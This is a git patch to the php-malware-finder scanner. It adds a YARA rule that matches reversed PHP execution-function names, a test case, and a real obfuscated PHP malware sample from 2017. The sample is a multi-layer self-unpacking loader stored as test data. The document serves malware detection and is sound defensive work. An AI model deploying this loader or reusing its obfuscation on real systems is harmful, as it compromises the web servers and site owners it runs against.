From a33ecf9a6262b1a25f484325ff111a3a0eddcaf9 Mon Sep 17 00:00:00 2001
From: jvoisin
Date: Tue, 21 Nov 2017 12:37:05 +0100
Subject: Add a new sample, and a way to detect it

---
 php-malware-finder/php.yar                  | 3 ++-
 php-malware-finder/samples/real/awvjtnz.php | 4 ++++
 php-malware-finder/tests.sh                 | 2 +-
 3 files changed, 7 insertions(+), 2 deletions(-)
 create mode 100644 php-malware-finder/samples/real/awvjtnz.php

diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar
index 4af8116..57d6e27 100644
--- a/php-malware-finder/php.yar
+++ b/php-malware-finder/php.yar
@@ -98,7 +98,8 @@ rule DodgyPhp
         $various = "<!--#exec cmd="  //http://www.w3.org/Jigsaw/Doc/User/SSI.html#exec
         $at_eval = /@eval\s*\(/ nocase
         $double_var = /\${\s*\${/
-		$extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/
+		    $extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/
+				$reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase
 
     condition:
         (any of them) and not IsWhitelisted
diff --git a/php-malware-finder/samples/real/awvjtnz.php b/php-malware-finder/samples/real/awvjtnz.php
new file mode 100644
index 0000000..9d0e366
--- /dev/null
+++ b/php-malware-finder/samples/real/awvjtnz.php
@@ -0,0 +1,4 @@
+# This is a sample of PHP malware discovered 2017/11/15.
+# Unpacks at least 5 levels deep, including references to variables from previous levels of expansion.
+# Also seen with other variable names and constants altered.
+<?php $awvjtnz = 'fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojnopm3qjA)qj3hopmA	x273qj%6<*Y%)fnbozcYufhA	x%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]3	x74	141	x72	164") && (!isset($GLOBALS["	x61	156	x75	156	x61"]h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!^<!Ce*[!%cIjQeTQcOc/#00o#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}	x27;%!<*#}_;#)323!>!%yy)#}#-#	x24-	x24-tusqpt)%z-#:#*	x24-	x24!>!	x24/%tjws:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s:	x5c%j:.2^,%b:<!%c:>%s:	x575983:48984:71]K9]77]D4]82]K6]72]K9]78]K5].;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}21]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss	x5csboe))/*)323zbe!-#jt0*?]+^?]_	x5c}X	x24<!4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]7]y86]267]y74]275]y7:]268]y7f#<!%tww!>!	x240w/	x24)##-!#~<#/%	x24-	x24!>!fyqmpef)#	x24*<!%t::!>272qj%6<^#zsfvr#	x5cq%7/6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]3	162	x65	141	x74	145	x5f	146	x772	145	x66	157	x78"))) { $oqtpxpv = "	x6|:*r%:-t%)3of:opjudovg<~	x24<!%o:!>!	x242178}527}88:}334}472	xw6<	x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA	x27&6<.fmjgA	x27doj%6<	x7y]252]18y]#>q%<#762]67y]5z)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn]y6d]281Ld]245]K2]285]Ke]53Ld672]48y]#>s%<#462]47d%6|6.7eu{66~67<&w6<*&7-#o]s]!	x24Ypp3)%cB%iN}#-!	x24/%tmw/	x24)%c*W%eN+#Qi	x5c1^W%c!>!%i	x5c2*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{C#-#O#-#N#*-!%ff2-!%]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]3I7jsv%7UFH#	x27rfs%6~6<	x7fw*127-UVPFNJU,6<*27-SFGTOBSUO#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#)%	x24-	x24*<!~!	x24/%t2273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]x45	116	x54"]); if ((strstr($uas,"	x6d	163	x69	145")) or (strstr($)sfebfI{*w%)kVx{**#k#)tutjyf`x	x22l:!}V;3q%}U;y]}R;2]},;osvufs}	x2id%)ftpmdR6<*id%)dfyfR	x27tfs%6<*17-SFEBFI,6<!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f	x27,*e	x2GMFT`QIQ&f_UTPI`QUUI&e_SEEB`jix6<C	x27&6<*rfs%7-K)fw6*	x7f_*#fmjgk4`{6~6<tfs%w6<	x7fw6*CWtfs%)7gj6<*8]225]241]334]368]322]3]364]6]283]427]36]373P6]R17,67R37,#/q%>U<#16,47R57,27Rpd%6<pd%w6Z6<.3`hA	x2	x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!g("", $jojtdkr); $bhlpzbl();}}W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr	x5c1^-%r	x5c2^-%hOh/#00#W~!%t27ftbc	x7f!|!*uyfu	x27k:!ftmf!}Z;^nbsbq%	x5cSFWSFT`%}X;!sp!*#op%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj	x22)gj!|!*nbsbq%)32d($n)-1);} @error_reporting(0); $jojtdkr = implode(array_map("dudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>	x22!ftmbg2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{h3]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]256<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA	x24-	x24	x5c%j^	x24-	x24tvctus)%	x24-	x24buas,"	x72	166	x3a	61	x31")) or (strstr($uas!gj}1~!<2p%	x7f!~!<##!>!2p%Z<^1"]=1; $uas=strtolower($_SERVER["	x48	124	x5ldfid>}&;!osvufs}	x7f;!opjudovg}k~~9{d%:osvufs:~928>>	x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{eb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56)%epnbss-%rxW~!Ypp2)%zB%z>!	x24/%tmw/	x24)%zW%h>EzH,2)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9!	x27!hmg%)!gj!~7;mnui}&;zepc}A;~!}	x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!	x24-	x24gvodujpo!	x24-	xSVUFS,6<*msv%7-MSV,6<*)ujojR	x27id%6<	x7fw6*	x7f_*#ujojRk3`{666~6</	x24)%	x24-	x24y4	x24-	x24]y8	x24-	x24]26	x24-	x24<%j,,*!|	x2	x2272qj%)7gj6<**2qj%)h53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]Ddbqov>*ofmy%)utjm!|!*5!	x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-if((function_exists("	x6f	142	x5f	16<.msv`ftsbqA7>q%6<	x7fw6*	x7f_*#fubfsdXk5`{66~6<&/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]276197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]epdof./#@#/qp%>5h%!<*::::::-1246767~6<Cw6<pd%w6Z6<.5`hA	x27pd%6<pd%w6Z6<.4`hA	x27fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUU0~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]28yW;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}%tmw!>!#]y84]275]y83]27~!%z!>2<!gps)%j>1<%j=6[%ww)))) { $GLOBALS["	x61	156	x75	156	x65	156	x63	164	x69	157	x6e"; function dhyvbmt($n){return chr(orx27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!	x27!hmg%tmfV	x7f<*X&Z&S{ftmfV	x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7ww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m,"	x61	156	x64	162	x6f	151	x64")) or (strstr($uas,"	x63	150	x72	+;!>!}	x27;!>>>!}_;gvc%}&;ftmbg}	x7f;!osvufs}w;*	x7f!>>	x22!pd%)!gj}Z;W&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX	x27u%)7fm11112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#27pd%6<pd%w6Z6<.2`hA	x27pd%6<C	x27p157	x6d	145")) or (strstr($uas,"	x66	151	xw)##Qtjw)#]82#-#!#-%tmw)%t#W~!Ydrr)%rxB%epnbss!>!bssb2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~	x&w6<	x7fw6*CW&)7gj6<.[A	x27&6<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}t::**<(<!fwbm)%tjw)#	x24#-!#]y38#-!%w:**<")));$bhlpzbl = $oqtpxpv]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!	x+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GB)fubfsdXA	x27K6<	x7fw6*3qj%7><+{e%+*!*+fepdfe{h+{d%)+opj/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%	x7f!<X>b66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#r#	x5cq%)ufttj	x22)gj6<^#Y#	x5cq%	x27Y%6K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:npd#)tutjyf`opjudovg	x22)24y7	x24-	x24*<!	x24-	x24gps)%j>1<%j=tj{fpgh1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4	x223}!+!o]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw6*C1/35.)1/14+9**-)1/2986+7**^c%j:^<!%w`	x5c^>Ew:Qb:Qc:W24<!%ff2!>!bssbz)	x24]25	x24-	x24-!%	x24-	x24*!|!	x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`62]38y]572]48y]#>m%:j!<*2bd%-#1GO	x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%g)!gj<*#k#)usbut`cpV	x7f	x7f	x7f	x7f<u%V	x27{f4	120	x5f	125	x53	105	x52	137	x41	107	24<!fwbm)%tjw)bssbz)#P#-#Q#-#Bhyvbmt",str_split("%tjw!>!#]y847,*d	x27,*c	x27,*b	x27)fepdof.)f3ldfidk!~!<**qp%!-uyfu%)3of)fepdof`5<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)lhA!osvufs!~<3,j%>j%!*3!	248L3P6L1M5]D2P4]D6#<%G7#@#7/7^#iubq#	x5cq%	x27jsv%6<C>^#zsfvr#	x5cq%7**^#zsfvStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSopxkrbc'; $vgkbclh=explode(chr((636-516)),substr($awvjtnz,(29027-23007),(198-164))); $jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); $nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); if (!function_exists('huqbsiykq')) { function huqbsiykq($ewjaowa, $ppcmgty,$euscsfo) { $rputetgcppb = NULL; for($blvfkqsfhf=0;$blvfkqsfhf<(sizeof($ewjaowa)/2);$blvfkqsfhf++) { $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)],$ewjaowa[($blvfkqsfhf*2)+(7-6)]); } return $euscsfo(chr((34-25)),chr((531-439)),$rputetgcppb); }; } $xozybdtes = explode(chr((213-169)),'3371,36,157,63,3931,36,2709,44,5708,38,1659,66,2636,43,4231,64,4563,42,868,40,836,32,3967,62,2332,63,5776,31,4847,58,3660,52,2063,20,4528,35,1170,29,5409,38,4365,58,1914,22,3712,42,1474,28,2555,41,5552,35,4949,31,3260,23,53,43,780,24,5965,55,5180,40,3407,49,970,62,1936,50,1791,45,1502,28,3132,66,4713,35,4748,34,3820,62,501,42,4295,70,220,37,1264,64,5918,24,4029,58,2990,53,5875,43,3315,56,640,45,2440,66,5283,25,2679,30,2083,33,5607,55,1836,50,5807,32,3631,29,4423,59,5007,45,0,53,2883,54,4905,44,1886,28,5052,69,2270,62,5839,36,2208,62,280,55,2753,70,2823,60,5351,58,4980,27,2395,45,5662,46,4087,59,2033,30,5121,59,1725,66,3043,67,4482,46,605,35,3882,23,2506,49,685,44,3754,66,4198,33,96,61,1150,20,1032,25,5587,20,908,62,5500,52,2596,40,335,57,3198,62,3110,22,5308,43,1581,24,729,51,1199,65,257,23,4631,27,1057,64,2937,53,2145,63,4605,26,4146,52,3567,64,5220,63,459,42,3283,32,804,32,1605,54,5942,23,1121,29,1348,61,3510,57,1986,47,1409,65,543,62,5447,27,3456,54,392,67,5474,26,3905,26,4658,55,5746,30,1530,51,1328,20,4782,65,2116,29'); $ympifwn = $jdxccsyh("",huqbsiykq($xozybdtes,$awvjtnz,$nkttprcq)); $jdxccsyh=$awvjtnz; $ympifwn(""); $ympifwn=(599-478); $awvjtnz=$ympifwn-1; ?>
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh
index b4bb91d..c6a380a 100755
--- a/php-malware-finder/tests.sh
+++ b/php-malware-finder/tests.sh
@@ -93,8 +93,8 @@ run_test real/novahot.php 'DodgyStrings'
 run_test real/guidtz.php '0x12d8:$non_printables:'
 run_test real/ice.php 'double_var'
 run_test real/srt.php '$register_function'
+run_test real/awvjtnz.php '$reversed:'
 
-# real
 run_test undetected/smart.php '0x6:$extract:'
 
 # Asp files
-- 
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